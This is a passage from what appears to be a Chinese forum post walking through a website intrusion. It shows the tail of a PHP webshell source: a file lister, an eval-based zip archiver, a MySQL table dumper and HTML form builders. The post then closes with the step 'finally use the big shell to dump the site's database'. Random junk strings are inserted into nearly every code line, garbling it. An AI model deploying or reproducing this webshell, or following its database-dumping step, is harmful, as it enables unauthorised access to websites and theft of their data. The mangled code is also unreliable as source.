  1694.                                 while ($file = readdir($dh)) {2 F' `, I3 ~: [' n1 _5 y" c3 }
  1695.                                         if($file!='.' && $file!='..'){
    ' b+ t6 |  e; I- N0 r9 q
  1696.                                                 $f=$dir .'/'. $file;/ B  z1 R- I7 Q3 _9 L
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    8 g( o3 I0 v9 G4 M& Y/ f
  1698.                                                 $a[]=$f;) T1 f6 K1 F/ O0 H! h( N# ^
  1699.                                         }* O( \, e) R/ D1 J. U
  1700.                                 }, P  o5 r  _5 `+ o
  1701.                                 closedir($dh);
    0 j5 C$ Q- }1 b0 m; I9 b
  1702.                         }8 C3 z1 m2 H/ d% H% i3 \+ F8 c
  1703.                 }
    " D- S; V: q# `# l8 ^
  1704.                 return $a;
    3 d* W$ ]: n$ R- A2 z
  1705.         }
    8 e$ m0 l1 f' Q
  1706. : g4 U: r5 K4 [* x8 L% @
  1707.         var $datasec      = array();
    0 N8 d) ?5 \4 l
  1708.         var $ctrl_dir     = array();
    ! s0 c1 M- h: w, \; _0 R7 X$ n
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    % Y0 D' p* U# h: m0 G/ t* ^: _
  1710.         var $old_offset   = 0;
    9 ?% ^! B% o7 |5 X
  1711. 1 K$ }* N. ^) ~
  1712.         function unix2DosTime($unixtime = 0) {
    " f" o: n7 \& y. `. W
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    ' Y! O8 ^2 G. D" k4 d7 G: P
  1714.                 if ($timearray['year'] < 1980) {2 Y# Y% h7 ?1 y" u- q
  1715.                         $timearray['year']    = 1980;
    1 z' x3 z- p) Q' t) [4 z
  1716.                         $timearray['mon']     = 1;
    : w" z% K( }8 {! J( E8 |
  1717.                         $timearray['mday']    = 1;
    7 t2 n" z6 X: s8 y  O* d* n2 ]
  1718.                         $timearray['hours']   = 0;( T8 Z3 [1 x& I+ {4 ~
  1719.                         $timearray['minutes'] = 0;
    6 Q0 F8 h' O7 @7 Z5 c
  1720.                         $timearray['seconds'] = 0;
    * k6 V- F" `- e6 ]3 ~  i$ c
  1721.                 } // end if
    6 u- W, m% K8 M
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |4 f6 @, {: c  l$ a- ]) v
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    ) {# w7 }) w+ a; a+ B5 q/ D
  1724.         }
    6 X4 s" ^0 A' C  W; M
  1725.         function addFile($data, $name, $time = 0) {+ z3 R' `0 Q& J) ~% U% ^7 w2 d
  1726.                 $name = str_replace('\\', '/', $name);
    1 q+ T, a0 F2 Z3 c
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    ( _$ B0 M+ p9 O8 E
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]; O3 i" p. }( k
  1729.                                         . '\x' . $dtime[4] . $dtime[5]+ U2 ^8 ^/ y( f, o. ^$ o8 c+ e  x
  1730.                                         . '\x' . $dtime[2] . $dtime[3]; t' @+ x) r/ r& ~
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
      s  y/ R6 U# `* `3 a
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    ; e: |' N5 i) N4 g0 d
  1733.                 $fr        = "\x50\x4b\x03\x04";; S7 j* C" {: _& Q) h
  1734.                 $fr        .= "\x14\x00";. z0 x- D5 J0 g2 S
  1735.                 $fr        .= "\x00\x00";7 z' N& C  O) `0 v2 p1 ^. ~3 h
  1736.                 $fr        .= "\x08\x00";
    / Q6 [: A! X  D- l  Y1 k+ I4 k
  1737.                 $fr        .= $hexdtime;
    % A4 e# v& l: R% ]5 s) |% ]
  1738.                 $unc_len = strlen($data);
    # }! ^* K. J; W9 N" i# ^; r: t+ a
  1739.                 $crc = crc32($data);$ G! v- M$ V  E
  1740.                 $zdata = gzcompress($data);6 E4 D; J: A, P
  1741.                 $c_len = strlen($zdata);$ ]0 q8 S( {/ `* O3 h0 |& j
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);! j  h& b% p6 {% M" l9 C, `* R
  1743.                 $fr .= pack('V', $crc);
    + o' u& P4 _4 D% v
  1744.                 $fr .= pack('V', $c_len);% V2 @4 c$ o  f0 `+ X! \* }' N
  1745.                 $fr .= pack('V', $unc_len);8 p! M& `% v- s* s: P
  1746.                 $fr .= pack('v', strlen($name));( D/ @$ e2 Y+ r- J. s# p6 s2 E
  1747.                 $fr .= pack('v', 0);
    - r, a0 k  a" ~0 D& \
  1748.                 $fr .= $name;
    0 F" W+ _6 W$ l" P' p1 U, z& v
  1749.                 $fr .= $zdata;, D  o7 O, ~% P* U
  1750.                 $fr .= pack('V', $crc);0 T* F2 K" j: I% f! [& u/ T, `9 |
  1751.                 $fr .= pack('V', $c_len);8 n3 A5 T) i5 F+ z
  1752.                 $fr .= pack('V', $unc_len);
    2 R5 I4 o5 M! x8 |; a
  1753.                 $this -> datasec[] = $fr;: W6 ?  z0 E( T4 X2 [
  1754.                 $new_offset = strlen(implode('', $this->datasec));
    5 I0 ]* }3 c9 h. Q
  1755.                 $cdrec = "\x50\x4b\x01\x02";  E" g1 l- r# V' f' x* G/ @3 A( |, e
  1756.                 $cdrec .= "\x00\x00";$ M; T: m2 f. N6 Q' u9 Y, r5 R* f8 F/ r
  1757.                 $cdrec .= "\x14\x00";! r  O- X4 f% ~7 i
  1758.                 $cdrec .= "\x00\x00";
    ; {& }! m+ C8 w
  1759.                 $cdrec .= "\x08\x00";  B- ~! }0 w' m& b$ \- |
  1760.                 $cdrec .= $hexdtime;5 S+ Z7 q6 e0 R- l
  1761.                 $cdrec .= pack('V', $crc);5 I( j% P$ O% X3 i/ X, {7 m
  1762.                 $cdrec .= pack('V', $c_len);
    4 H- M/ q  c3 M; u
  1763.                 $cdrec .= pack('V', $unc_len);
    1 Q+ @0 p" p* Q* w! x
  1764.                 $cdrec .= pack('v', strlen($name) );
    ( j* o/ h# T% y: `! ]$ z. x
  1765.                 $cdrec .= pack('v', 0 );4 X$ u4 V( t5 a* L# u$ Q6 r
  1766.                 $cdrec .= pack('v', 0 );
    . ]3 X$ s  l2 S# M
  1767.                 $cdrec .= pack('v', 0 );
    0 i5 s1 e% S$ b( T
  1768.                 $cdrec .= pack('v', 0 );$ f8 Q: x3 Y) r; p( a3 r4 V
  1769.                 $cdrec .= pack('V', 32 );" ]" Z4 S/ \. n
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    3 t% s5 P$ d/ n% w1 ?- y4 x- m
  1771.                 $this -> old_offset = $new_offset;
    : F; V1 ^4 V) G: _$ ?: _' ?3 o. _
  1772.                 $cdrec .= $name;
    / E! a' c4 u; K+ ~+ V: J& U
  1773.                 $this -> ctrl_dir[] = $cdrec;
    , Q. e9 P# e! q) y. l
  1774.         }
    8 U0 t$ A. {+ d+ |0 C' k! y3 O) Z
  1775.         function file() {: t! L( K2 E! Q1 c7 ^1 R5 z
  1776.                 $data    = implode('', $this -> datasec);
    / y- t  k8 C. _; ]: J/ B" N4 i
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    , d8 H# [, F" \
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";* t3 T2 l5 `- R; x
  1779.         }
      m3 @6 b1 e$ D! J) K! W) Q% k; z) o1 Z
  1780. }
    # ?- o6 l3 I1 M7 @* S
  1781. // 备份数据库
    & c) T% p/ W  G7 S" d
  1782. function sqldumptable($table, $fp=0) {/ j5 L. V" i- d5 W8 J, x
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";. f. y; H" L  M' @! p
  1784.         $tabledump .= "CREATE TABLE $table (\n";8 [' C7 U3 S3 e0 e) k. \& H
  1785.         $firstfield=1;: t) E: A+ C! `7 \7 r9 I
  1786.         $fields = q("SHOW FIELDS FROM $table");
    6 ?2 p( i! F- h. P% z9 g
  1787.         while ($field = mysql_fetch_array($fields)) {- w* _6 b! o8 ]6 I  |1 H8 ]
  1788.                 if (!$firstfield) {4 c9 c3 W$ [1 }' `
  1789.                         $tabledump .= ",\n";
    , B0 V% E2 p# C( _  E' U7 [6 p5 U
  1790.                 } else {
    ' l/ Y1 A" M+ z, H
  1791.                         $firstfield=0;
    * l$ W& f& z  {7 E
  1792.                 }
    + z7 z. a# b3 P/ N/ t
  1793.                 $tabledump .= "   $field[Field] $field[Type]";# ^3 x6 j# ?) H% y; l
  1794.                 if (!empty($field["Default"])) {
    ' l# L( P3 ]8 ?% |
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";3 \* {3 R. E. G
  1796.                 }
    - k/ m6 |; m! r! E) L
  1797.                 if ($field['Null'] != "YES") {% w6 W- V: ^' y8 m2 l( S
  1798.                         $tabledump .= " NOT NULL";
    - ^  j; U) p1 ~' f
  1799.                 }2 p# a) ]. Y! k( L+ Q, o! B
  1800.                 if ($field['Extra'] != "") {( g) C: c3 Z7 h  G) q: }/ ]+ W- R, f
  1801.                         $tabledump .= " $field[Extra]";0 X% O# C. ?. p' O. y- @$ v; r
  1802.                 }
    6 Q3 c4 M& ~& n# ^3 G
  1803.         }
    + w- \6 _& z4 n3 Q& N
  1804.         fr($fields);5 n! j5 R/ a* l# _5 y8 l8 a; U/ Y
  1805.         $keys = q("SHOW KEYS FROM $table");8 o. }4 f3 ^) V( z. L% k; P
  1806.         while ($key = mysql_fetch_array($keys)) {
    4 f' o$ R( T0 Z
  1807.                 $kname=$key['Key_name'];6 h7 p7 x- n8 R
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    5 l3 K: {1 L( R- ]
  1809.                         $kname="UNIQUE|$kname";
    . X2 e& d8 c- x8 Y! A; S5 ?. R0 U6 r
  1810.                 }3 g1 _1 U( ~' k: I; o# k9 ^
  1811.                 if(!is_array($index[$kname])) {
    6 t( `' J! I: y4 _4 y( L
  1812.                         $index[$kname] = array();
    ! }6 D3 p1 m& B5 D
  1813.                 }
    : W0 O9 B* v  r% e1 U! {0 H: \. _  g7 R
  1814.                 $index[$kname][] = $key['Column_name'];# z2 {. D% \, }! Y5 v0 {# e
  1815.         }- u+ z7 a& @1 O8 J4 a9 H7 C
  1816.         fr($keys);
    4 n5 y+ i# }/ i) u6 T
  1817.         while(list($kname, $columns) = @each($index)) {
    3 c+ A2 k' i5 Z# u9 c/ e
  1818.                 $tabledump .= ",\n";, Z2 f' Z& R; {1 y5 b
  1819.                 $colnames=implode($columns,",");  ^, a5 _% ~2 Z
  1820.                 if ($kname == "PRIMARY") {
    % Z  F9 a: b& |7 m6 u* `
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";$ \& ]+ K7 E0 d0 Y" m& r
  1822.                 } else {
    ; S" P& p) O0 J) o& p
  1823.                         if (substr($kname,0,6) == "UNIQUE") {1 p) Z/ |* Y$ u& {/ q5 j
  1824.                                 $kname=substr($kname,7);
    3 h0 s3 F3 y4 p3 K) O/ I
  1825.                         }2 G. R1 T1 a( G) z3 W) y3 M/ ~# x2 ]
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    # |! T# H: J9 f) L. _( K: O3 v
  1827.                 }! S/ N+ N# G( y$ {- e' |
  1828.         }
    + t) m: X. L* J  ~& }8 N
  1829.         $tabledump .= "\n);\n\n";  w- h! A8 S) c, I" u9 h! _3 n
  1830.         if ($fp) {& T7 D8 i; g2 m7 k: f  m
  1831.                 fwrite($fp,$tabledump);1 J7 [: @2 e" f6 E) V+ J
  1832.         } else {) V+ @6 K. z. N% M0 x& z3 }6 F( b
  1833.                 echo $tabledump;
    # G: c+ K) Y6 h: M
  1834.         }
    1 z+ `, ~5 `+ s- S0 d) g8 E2 h
  1835.         $rows = q("SELECT * FROM $table");
    4 m% S; m5 A3 R7 e( b
  1836.         $numfields = mysql_num_fields($rows);- G' o1 }$ N9 J/ u& `- A  _$ S
  1837.         while ($row = mysql_fetch_array($rows)) {8 K8 D2 b4 f, }, U! H- i, N
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    - j! L( Q+ K& B) }& X. L
  1839.                 $fieldcounter=-1;
    - P/ ~# e3 e6 c" p/ }
  1840.                 $firstfield=1;) M1 ?& s* ^" n0 T% J1 O) x5 }
  1841.                 while (++$fieldcounter<$numfields) {3 ~. O. M0 D% o# A9 S" K, n1 V
  1842.                         if (!$firstfield) {- i9 H* n* b) v8 e& u
  1843.                                 $tabledump.=", ";: b) i' l# j0 k
  1844.                         } else {/ C5 q7 m3 Z. l( e, }, b7 c+ i$ I  |# ^$ p
  1845.                                 $firstfield=0;
    ) g: D, `, \6 g) f/ k+ O7 {
  1846.                         }
      k. y. i  R( K2 g" W5 U' G+ _
  1847.                         if (!isset($row[$fieldcounter])) {" u+ h1 ]/ a( ]) O  \
  1848.                                 $tabledump .= "NULL";3 Q. K3 V: v8 h+ R# D# k, J
  1849.                         } else {
    * o" c* {) ~, X, K* W" t% o$ h
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    # @, e8 E$ Y% y; A
  1851.                         }: J0 l. l2 g! L, T, _8 Y& g
  1852.                 }
    ! M  Y7 f: O/ o7 f  Z* w
  1853.                 $tabledump .= ");\n";
    9 D6 S* t8 {7 O) n
  1854.                 if ($fp) {, ?* b( U$ W1 V+ y) b* f7 E* q
  1855.                         fwrite($fp,$tabledump);
    # N! I, D7 H6 ^
  1856.                 } else {
    9 F" O, y5 ]0 L
  1857.                         echo $tabledump;& v+ U( K" d6 U! p
  1858.                 }* m8 e% q& U- u9 D
  1859.         }" O& c* e4 G( ]: ?; e% k6 D5 s
  1860.         fr($rows);9 Z) x  L3 {! @% J7 s
  1861.         if ($fp) {1 L5 h& Y& p$ c1 e% T% ]  l
  1862.                 fwrite($fp,"\n");1 j3 S) ^/ Z$ A3 T
  1863.         } else {
    + ]1 x' h" q5 O3 n2 c
  1864.                 echo "\n";5 X* @9 D$ d1 H( C6 U
  1865.         }5 R% I; ^6 ]* ?) C' U# p! X
  1866. }
    " i7 u- f' J8 ]8 P# P8 y+ W  Y
  1867. function ue($str){& y1 {9 `3 [' i
  1868.         return urlencode($str);
    9 I) S- j4 w# ]
  1869. }
    ) i' N+ E- T1 p. a6 g
  1870. function p($str){- c5 h) l6 T6 U* f' l
  1871.         echo $str."\n";- O' l" C+ [4 Y6 J4 E- o5 S* H4 J
  1872. }* s1 k. U9 w- _: ?8 u6 F
  1873. function tbhead() {
    $ n$ w7 A, V9 _# F
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');  k  y' u& B; q4 j5 k
  1875. }. O1 {* G, ~. p3 N% _+ j2 Q
  1876. function tbfoot(){
    3 s/ O9 t4 ^, u3 N8 E+ t
  1877.         p('</table>');. a9 R: p; u; D" ^
  1878. }
    ' w! o* m1 ]8 {3 g, ?3 v0 P! m
  1879. function makehide($name,$value=''){
      P. f3 P+ k% S9 i% q" G1 o& J8 K3 ^
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    0 }4 ~6 V: Q- z
  1881. }! C' M* @7 k; n( S' V0 |% w
  1882. function makeinput($arg = array()){
    / N  P# F- n* _6 W/ h
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";& v8 }) p2 h9 Q# e# w! a& j
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    $ X& d5 U0 d, e% D( X3 @5 v* Z
  1885.         !$arg['type'] && $arg['type'] = 'text';2 W. N9 J0 C; |1 [  i% d' P8 e  T
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';2 J4 H* d# r! q
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';- f1 Z/ Y2 O" R5 r& y
  1888.         if ($arg['newline']) {. n+ J! W9 Q' f2 S5 ^
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    + d7 G0 C6 h: U5 E
  1890.         } else {6 |7 x- ]3 `. g& f5 A
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");/ n/ M) _9 S* X- X4 s+ B' \
  1892.         }
    $ W. S4 Q, M, t' l$ m0 Q% H8 K, A) {
  1893. }; t1 T! W; L3 T) b" W% ~2 p( N
  1894. function makeselect($arg = array()){, l& x: K' T* J. d5 }( F
  1895.         if ($arg['onchange']) {
    * l3 V* [: Q, G5 f( R. ?
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';9 j. t4 I' D% P4 A$ M! h1 R
  1897.         }
    1 e1 V* G9 s2 o+ q. M2 [$ @' o8 E9 N
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    / F7 I' i' B! {$ h' h  x
  1899.         if ($arg['newline']) p('<p>');
    0 t6 l: y- @% V! v
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");2 N1 a/ y( d' D
  1901.                 if (is_array($arg['option'])) {
    ; q( }; ~9 V5 S; J* {7 ^! y# y
  1902.                         foreach ($arg['option'] as $key=>$value) {& D- }/ U, J" R7 V" Z+ M
  1903.                                 if ($arg['selected']==$key) {! N) E3 x$ y6 `+ q) u! `2 k* ~0 K" |
  1904.                                         p("<option value="$key" selected>$value</option>");1 n7 q/ P% C  ]  F6 l/ O
  1905.                                 } else {
    ( v. Y9 c. f0 C, _, V" O( z
  1906.                                         p("<option value="$key">$value</option>");
      R  V* f& V: s9 K" |" `# J
  1907.                                 }' O5 F% s  J6 c. i- N2 j# N
  1908.                         }
    0 v7 j( L2 ?& |# b. s
  1909.                 }
    ' q! \8 `3 \; `' P# W  C
  1910.         p("</select>");
    1 q" l. D$ o! B9 A' T
  1911.         if ($arg['newline']) p('</p>');) F& ^, \! b. A+ J
  1912. }1 \' a9 e/ |& b9 Z* z+ x- V
  1913. function formhead($arg = array()) {8 |3 v/ ^: W/ v1 @+ `, E1 j
  1914.         !$arg['method'] && $arg['method'] = 'post';" H' @7 V0 N; I* c6 S4 h' R
  1915.         !$arg['action'] && $arg['action'] = $self;1 @- k; E9 H% r9 |0 [3 k  T
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';: U- B$ J. y1 g% B( K
  1917.         !$arg['name'] && $arg['name'] = 'form1';6 ]1 t( h, O) e' k4 z5 P" I
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    9 `# g% c, R: R0 Y' s
  1919.         if ($arg['title']) {
    + Z" y3 g+ }7 U8 X/ W! t
  1920.                 p('<h2>'.$arg['title'].' »</h2>');& Z- ]* ~' k, ]$ c
  1921.         }
    $ E, }: R8 Q+ Q$ {
  1922. }
    : H. K2 @2 y7 q% g
  1923.        
    , s% j1 P) K0 W. ^, {
  1924. function maketext($arg = array()){
    & H9 r. F) {4 v! A* A# ~2 Y
  1925.         !$arg['cols'] && $arg['cols'] = 100;
    : l/ o  p8 v0 z2 [
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    - T5 A- K6 c1 U6 R  c# z' x
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';) s: g1 J) G5 j$ D, }( {4 t
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");) @, p  \: p$ r: w+ L* R0 x# R
  1929. }
    5 t/ V7 |7 L& q3 `
  1930.   Y3 X5 ]+ e- R1 X
  1931. function formfooter($name = ''){
    % g2 d- y; P3 [. l
  1932.         !$name && $name = 'submit';
    4 l/ q' o; a. a
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');- [" P1 ^8 a# ~# C5 p
  1934.         p('</form>');) z, ^0 x/ j" r9 D& ]" q9 m& w
  1935. }
    2 ~) C. ~# d" P0 c* o

  1936. 8 K. [/ D9 G6 E4 q* d, d  Y+ p: P) r7 t
  1937. function formfoot(){! x+ K' K" y6 e5 B8 \: A1 @9 ]' x
  1938.         p('</form>');
    3 e/ O" u" S- m- t
  1939. }
    & j  D) X. Z& P  v% `
  1940. 2 g6 [+ `! d& {- ~& ^
  1941. // 调试函数+ ^! G! q# _3 r% W( ?; i, n6 d
  1942. function pr($a) {7 L0 l2 N7 U; N& f, E5 d1 }
  1943.         echo '<pre>';
    5 X1 O$ h* A. E9 m) f
  1944.         print_r($a);
      _: |- \. ]* O6 j+ ~! c0 B7 i/ P
  1945.         echo '</pre>';7 b& e- K; v1 X
  1946. }
    " b" q8 X4 b4 g

  1947. ' b" G- z# f2 e5 A
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
( l- ?1 @- h  F! L

" }' V5 N3 t, i: ~& X

; z  y4 m1 E6 V0 V3 @
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-5-6 08:38 AM , Processed in 0.090462 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表